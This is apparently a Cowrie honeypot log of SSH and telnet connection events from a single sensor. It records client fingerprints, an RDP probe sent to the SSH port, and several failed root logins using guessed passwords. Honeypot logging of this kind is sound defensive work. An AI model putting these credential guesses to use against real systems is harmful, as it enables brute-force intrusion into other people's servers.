{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:28.198932Z","src_ip":"37.233.85.71","session":"a924b5e45173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey1","message":"login attempt [root/andrey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:28.514214Z","src_ip":"37.233.85.71","session":"a924b5e45173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:29.621264Z","src_ip":"37.233.85.71","session":"a924b5e45173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0048577785492,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:33.176315Z","src_ip":"152.42.224.71","session":"6136d9768f0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44124,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e9f740c5380","protocol":"ssh","message":"New connection: 87.251.79.125:44124 (159.203.135.109:22) [session: 4e9f740c5380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:34.798671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:34.803244Z","src_ip":"87.251.79.125","session":"4e9f740c5380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:34.874851Z","src_ip":"87.251.79.125","session":"4e9f740c5380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2w","message":"login attempt [root/1qaz2w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:35.090707Z","src_ip":"87.251.79.125","session":"4e9f740c5380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:36.165617Z","src_ip":"87.251.79.125","session":"4e9f740c5380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.559916496276855,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:37.986714Z","src_ip":"152.42.224.71","session":"7b7cbd4ddb8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45736,"dst_ip":"10.17.0.5","dst_port":23,"session":"05908c71be43","protocol":"telnet","message":"New connection: 152.42.224.71:45736 (10.17.0.5:23) [session: 05908c71be43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:55.463709Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45752,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7d42d6dbbd","protocol":"telnet","message":"New connection: 152.42.224.71:45752 (10.17.0.5:23) [session: 6b7d42d6dbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:03:55.577015Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35140,"dst_ip":"10.17.0.5","dst_port":23,"session":"c90382fae90e","protocol":"telnet","message":"New connection: 152.42.224.71:35140 (10.17.0.5:23) [session: c90382fae90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:04.498912Z"}
{"eventid":"cowrie.session.closed","duration":57.3122398853302,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:09.932312Z","src_ip":"152.42.224.71","session":"4c7e5fd7202b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":103.65859818458557,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:14.399612Z","src_ip":"152.42.224.71","session":"c51e34c6b856","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34644,"dst_ip":"10.17.0.5","dst_port":23,"session":"6697e9cb0fae","protocol":"telnet","message":"New connection: 152.42.224.71:34644 (10.17.0.5:23) [session: 6697e9cb0fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:19.964520Z"}
{"eventid":"cowrie.session.closed","duration":31.747690200805664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:27.324598Z","src_ip":"152.42.224.71","session":"6b7d42d6dbbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37598,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f1250fcaa12","protocol":"telnet","message":"New connection: 152.42.224.71:37598 (10.17.0.5:23) [session: 8f1250fcaa12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:33.357814Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":37084,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfdf79d12d4a","protocol":"ssh","message":"New connection: 147.45.197.250:37084 (159.203.135.109:22) [session: dfdf79d12d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:38.196749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:38.202490Z","src_ip":"147.45.197.250","session":"dfdf79d12d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:38.295697Z","src_ip":"147.45.197.250","session":"dfdf79d12d4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikit","message":"login attempt [root/nikit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:38.577684Z","src_ip":"147.45.197.250","session":"dfdf79d12d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:39.675037Z","src_ip":"147.45.197.250","session":"dfdf79d12d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.78416109085083,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:46.282941Z","src_ip":"152.42.224.71","session":"c90382fae90e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":59604,"dst_ip":"10.17.0.5","dst_port":22,"session":"d40b00eda87a","protocol":"ssh","message":"New connection: 38.93.206.2:59604 (10.17.0.5:22) [session: d40b00eda87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:52.065580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:52.094753Z","src_ip":"38.93.206.2","session":"d40b00eda87a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:52.120697Z","src_ip":"38.93.206.2","session":"d40b00eda87a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345n","message":"login attempt [root/12345n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:52.335517Z","src_ip":"38.93.206.2","session":"d40b00eda87a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:04:53.388676Z","src_ip":"38.93.206.2","session":"d40b00eda87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45574,"dst_ip":"10.17.0.5","dst_port":23,"session":"5754fa2010b3","protocol":"telnet","message":"New connection: 152.42.224.71:45574 (10.17.0.5:23) [session: 5754fa2010b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:12.695470Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45576,"dst_ip":"10.17.0.5","dst_port":23,"session":"9952750ae5cb","protocol":"telnet","message":"New connection: 152.42.224.71:45576 (10.17.0.5:23) [session: 9952750ae5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:15.030149Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48004,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8f83b94fff4","protocol":"telnet","message":"New connection: 152.42.224.71:48004 (10.17.0.5:23) [session: d8f83b94fff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:17.240727Z"}
{"eventid":"cowrie.session.closed","duration":49.84628510475159,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:23.204006Z","src_ip":"152.42.224.71","session":"8f1250fcaa12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":97.06899189949036,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:32.532606Z","src_ip":"152.42.224.71","session":"05908c71be43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50898,"dst_ip":"10.17.0.5","dst_port":23,"session":"76e14076626d","protocol":"telnet","message":"New connection: 152.42.224.71:50898 (10.17.0.5:23) [session: 76e14076626d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:34.710652Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45492,"dst_ip":"10.17.0.5","dst_port":23,"session":"c76f3e2961fd","protocol":"telnet","message":"New connection: 152.42.224.71:45492 (10.17.0.5:23) [session: c76f3e2961fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:39.794011Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45494,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cfb61970fdf","protocol":"telnet","message":"New connection: 152.42.224.71:45494 (10.17.0.5:23) [session: 8cfb61970fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:43.984302Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63951,"dst_ip":"10.17.0.5","dst_port":22,"session":"d75d71d2b7b9","protocol":"ssh","message":"New connection: 167.172.81.52:63951 (10.17.0.5:22) [session: d75d71d2b7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:53.362203Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:53.366604Z","src_ip":"167.172.81.52","session":"d75d71d2b7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:05:53.370049Z","src_ip":"167.172.81.52","session":"d75d71d2b7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.68069076538086,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:03.710701Z","src_ip":"152.42.224.71","session":"9952750ae5cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52484,"dst_ip":"10.17.0.5","dst_port":23,"session":"94d6bccf51aa","protocol":"telnet","message":"New connection: 152.42.224.71:52484 (10.17.0.5:23) [session: 94d6bccf51aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:11.122201Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52494,"dst_ip":"10.17.0.5","dst_port":23,"session":"67ccf4acc69b","protocol":"telnet","message":"New connection: 152.42.224.71:52494 (10.17.0.5:23) [session: 67ccf4acc69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:14.242090Z"}
{"eventid":"cowrie.session.closed","duration":120.00481843948364,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:19.969177Z","src_ip":"152.42.224.71","session":"6697e9cb0fae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.286072969436646,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:22.270207Z","src_ip":"152.42.224.71","session":"8cfb61970fdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47328,"dst_ip":"10.17.0.5","dst_port":23,"session":"eabe9a00c100","protocol":"telnet","message":"New connection: 152.42.224.71:47328 (10.17.0.5:23) [session: eabe9a00c100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:24.077798Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53970,"dst_ip":"10.17.0.5","dst_port":23,"session":"f60c039fd383","protocol":"telnet","message":"New connection: 152.42.224.71:53970 (10.17.0.5:23) [session: f60c039fd383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:27.708656Z"}
{"eventid":"cowrie.session.closed","duration":55.099252700805664,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:29.809764Z","src_ip":"152.42.224.71","session":"76e14076626d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.9158718585968,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:33.709770Z","src_ip":"152.42.224.71","session":"c76f3e2961fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":83.55570769309998,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:40.796321Z","src_ip":"152.42.224.71","session":"d8f83b94fff4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53485417366028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:41.656927Z","src_ip":"152.42.224.71","session":"94d6bccf51aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54294,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f107033487f","protocol":"telnet","message":"New connection: 152.42.224.71:54294 (10.17.0.5:23) [session: 2f107033487f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:46.169952Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54296,"dst_ip":"10.17.0.5","dst_port":23,"session":"aced1aa67518","protocol":"telnet","message":"New connection: 152.42.224.71:54296 (10.17.0.5:23) [session: aced1aa67518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:47.848349Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"812c0cc68206","protocol":"telnet","message":"New connection: 152.42.224.71:54306 (10.17.0.5:23) [session: 812c0cc68206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:52.312462Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54310,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcc47e5279ed","protocol":"telnet","message":"New connection: 152.42.224.71:54310 (10.17.0.5:23) [session: bcc47e5279ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:53.266048Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56778,"dst_ip":"10.17.0.5","dst_port":23,"session":"398b51fc4585","protocol":"telnet","message":"New connection: 152.42.224.71:56778 (10.17.0.5:23) [session: 398b51fc4585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:06:56.746445Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56792,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b70917a1b95","protocol":"telnet","message":"New connection: 152.42.224.71:56792 (10.17.0.5:23) [session: 3b70917a1b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:03.281474Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56808,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6a19d1a30a2","protocol":"telnet","message":"New connection: 152.42.224.71:56808 (10.17.0.5:23) [session: e6a19d1a30a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:05.784417Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51950,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b14f9719091","protocol":"telnet","message":"New connection: 152.42.224.71:51950 (10.17.0.5:23) [session: 0b14f9719091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:06.788974Z"}
{"eventid":"cowrie.session.closed","duration":20.593299388885498,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:08.441545Z","src_ip":"152.42.224.71","session":"aced1aa67518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51958,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f1712ab4d9b","protocol":"telnet","message":"New connection: 152.42.224.71:51958 (10.17.0.5:23) [session: 7f1712ab4d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:11.265269Z"}
